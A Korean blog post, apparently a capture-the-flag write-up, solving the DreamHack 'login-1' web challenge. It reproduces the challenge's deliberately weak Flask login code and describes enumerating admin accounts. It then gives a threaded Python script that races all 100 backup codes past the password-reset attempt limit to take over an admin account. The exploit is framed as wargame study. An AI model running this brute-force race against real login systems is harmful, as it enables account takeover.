| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | ||
| 6 | 7 | 8 | 9 | 10 | 11 | 12 |
| 13 | 14 | 15 | 16 | 17 | 18 | 19 |
| 20 | 21 | 22 | 23 | 24 | 25 | 26 |
| 27 | 28 | 29 | 30 |
- echo 명령어
- 클래스
- 수업복습
- 예외처리
- 꽉뚝짝 시장
- Linked List
- List
- 성능평가지표
- 생성형AI
- 패키지
- gdgm
- 보안공부
- 루키즈33기
- SK쉴더스
- 데이터분포
- 태국
- 블록(Block)
- dropna
- 레이블인코딩
- 방콕
- Package
- 지도학습
- pandas
- 루키즈
- sqld
- tunder client
- git push -u
- OT후기
- node.js
- 함수
- Today
- Total
개발 블로그
[DreamHack] login-1 본문
https://dreamhack.io/wargame/challenges/47
로그인 | Dreamhack
dreamhack.io
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import sqlite3
import hashlib
import os
import time, random
app = Flask(__name__)
app.secret_key = os.urandom(32)
DATABASE = "database.db"
userLevel = {
0 : 'guest',
1 : 'admin'
}
MAXRESETCOUNT = 5 # 비밀번호 재설정 시도 횟수 제한
try:
FLAG = open('./flag.txt', 'r').read() # ./flag.txt 에서 플래그 얻기!!
except:
FLAG = '[**FLAG**]'
def makeBackupcode(): # 랜덤한 백업코드 생성
return random.randrange(100) # 0~99 사이의 랜덤한 정수 반환
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
# 데이터베이스 연결처럼 쓰고 나서 반드시 닫아줘야 하는 자원을 정리할 때 필수적으로 사용하는 데코레이터랍니다.
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get("userid")
password = request.form.get("password")
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ? and pw = ?', (userid, hashlib.sha256(password.encode()).hexdigest() )).fetchone()
if user:
session['idx'] = user['idx']
session['userid'] = user['id']
session['name'] = user['name']
session['level'] = userLevel[user['level']]
return redirect(url_for('index'))
return "<script>alert('Wrong id/pw');history.back(-1);</script>";
@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('index'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html')
else:
userid = request.form.get("userid")
password = request.form.get("password")
name = request.form.get("name")
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
return "<script>alert('Already Exists userid.');history.back(-1);</script>";
backupCode = makeBackupcode()
sql = "INSERT INTO user(id, pw, name, level, backupCode) VALUES (?, ?, ?, ?, ?)"
cur.execute(sql, (userid, hashlib.sha256(password.encode()).hexdigest(), name, 0, backupCode))
conn.commit()
return render_template("index.html", msg=f"<b>Register Success.</b><br/>Your BackupCode : {backupCode}")
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'GET':
return render_template('forgot.html')
else:
userid = request.form.get("userid")
newpassword = request.form.get("newpassword")
backupCode = request.form.get("backupCode", type=int)
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
# security for brute force Attack.
time.sleep(1)
if user['resetCount'] == MAXRESETCOUNT:
return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
if user['backupCode'] == backupCode:
newbackupCode = makeBackupcode()
updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"
else:
updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
cur.execute(updateSQL, (str(user['idx'])))
msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
conn.commit()
return render_template("index.html", msg=msg)
return "<script>alert('User Not Found.');history.back(-1);</script>";
@app.route('/user/<int:useridx>')
def users(useridx):
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()
if user:
return render_template('user.html', user=user)
return "<script>alert('User Not Found.');history.back(-1);</script>";
@app.route('/admin')
def admin():
if session and (session['level'] == userLevel[1]):
return FLAG
return "Only Admin !"
app.run(host='0.0.0.0', port=8000)

일단 접근을 어떻게 하는지 잘 감이 안와서 먼저 회원가입 부터 해줬음.

음! 이렇게 회원가입을 하면 BackupCode를 알아야 함.
결국 내가 알아야 하는 것
admin 계정의 userid와 admin 계정의 BackupCode

url을 useridx가 아까 확인한 BackupCode로 오해해서 13을 검색해봤는데

??? 누구시죠

????????? admin이시라는데
에이.. 다른 숫자로 바꿔서 다시 찾아봄.


?? admin이 하나가 아닌가봐요???


결국 나까지 찾았고요, 유저는 총 17개 계정인듯 여기서 admin(1)은 1, 5, 8, 9, 10, 13, 14 이렇게 인듯!
1 (Apple)의 비밀번호를 변경해보겠음. -> 내 BackupCode가 13이었으니까 그 전 1~12 중 하나가 아닐까? 하는 생각으로 다 넣어보려했슨...

"어림도 없지"
운이 좋으면 바꿀 수 있겠지.....

"어림도 없지"
자, 다음은 5(Dog)로 해야겠음..

이 상태로 버프 스위트로 잡았음.
혹시 backupCode를 버프 스위트 intruder로 잡을 수 있지 않을까?? 하고 시도했음.

이렇기에 1부터 100까지 검사해보겠음.


아. 근데 이걸로 하면 안된대요.....
내가 쓰는 버프 스위트는 무료 버전이라 intruder 기능에 속도 제한을 걸어서 그냥 손으로 하나하나 하는 거랑 별반 다를게 없는거임...! (내 아까운 서버ㅜ)
그래서 결국! 병규오빠에게 도움을 요청했슴.
버프 대신 파이썬 코드로 써서 해야 하는 이유 ㅜㅜ
파이썬은 멀티 스레드 코드이기 때문에 동시 전송을 함. 그래서 파이썬 코드로 하면 time.sleep(1) 이거 안에 할 수 있으니까 틀린 거 카운팅에 안 들어간다..
import threading
import requests
TARGET_URL = "http://host3.dreamhack.games:11917/forgot_password"
TARGET_USER = "Dog"
NEW_PASSWORD = "Dog"
def send_race_request(backup_code):
data = {
"userid": TARGET_USER,
"newpassword": NEW_PASSWORD,
"backupCode": str(backup_code)
}
# 서버가 응답을 주든 말든 최대한 빠르게 들이붓기 위해 타임아웃을 짧게
response = requests.post(TARGET_URL, data=data, timeout=3)
if "Success" in response.text or "Change" in response.text:
print(f"백업 코드: {backup_code}")
print(f"'{TARGET_USER}'의 비밀번호가 '{NEW_PASSWORD}'로 변경")
if __name__ == "__main__":
threads = []
for code in range(100):
t = threading.Thread(target=send_race_request, args=(code,))
threads.append(t)
t.start()
for t in threads:
t.join()
print("끝!!!")



플래그다아.... 서버를 몇 개나 낭비한거야 정말;;;;;
'Study > Web Hacking' 카테고리의 다른 글
| [DreamHack] Broken Is SSRF possible? (0) | 2026.09.22 |
|---|---|
| [DreamHack] ejs@3.1.8 (0) | 2026.09.22 |
| [DreamHack] sql injection bypass WAF Advanced (0) | 2026.09.21 |
| [DreamHack] Ctrl-C (0) | 2026.09.21 |
| [DreamHack] 403-forbbiden (0) | 2026.09.19 |